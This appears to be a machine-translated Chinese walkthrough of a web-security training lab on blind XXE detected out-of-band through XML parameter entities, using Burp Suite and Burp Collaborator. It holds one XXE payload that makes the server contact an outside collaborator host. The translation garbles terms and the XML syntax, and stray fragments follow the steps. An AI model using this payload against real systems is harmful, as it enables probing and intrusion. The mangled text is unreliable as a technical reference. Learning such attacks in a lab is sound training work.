实验室：通过XML参数实体进行带外交互的盲人XXE

1. 访问产品页面，单击“检查库存”，然后拦截结果的帖子请求Burp Suite专业人士。
2. 转到Burp菜单，然后启动Burp合作者客户端。
3. 单击“复制到剪贴板”，将独特的BURP协作者有效载荷复制到剪贴板。让Burp合作者客户端窗口打开。

4. 将以下外部实体定义插入XML声明和Stockcheck元素，但在指示：

   <！doctype stockcheck [<！entity％xxe系统“ http://your-subdomain-here.burpcollaborator.net”>％xxe;]>
5. 返回到Burp合作者客户端窗口，然后单击“立即进行民意调查”。如果您没有看到列出的任何互动，请等待几秒钟，然后重试。您应该查看该应用程序由于有效载荷而启动的一些DNS和HTTP交互。

garr_7

迈克尔·索默（没有音频）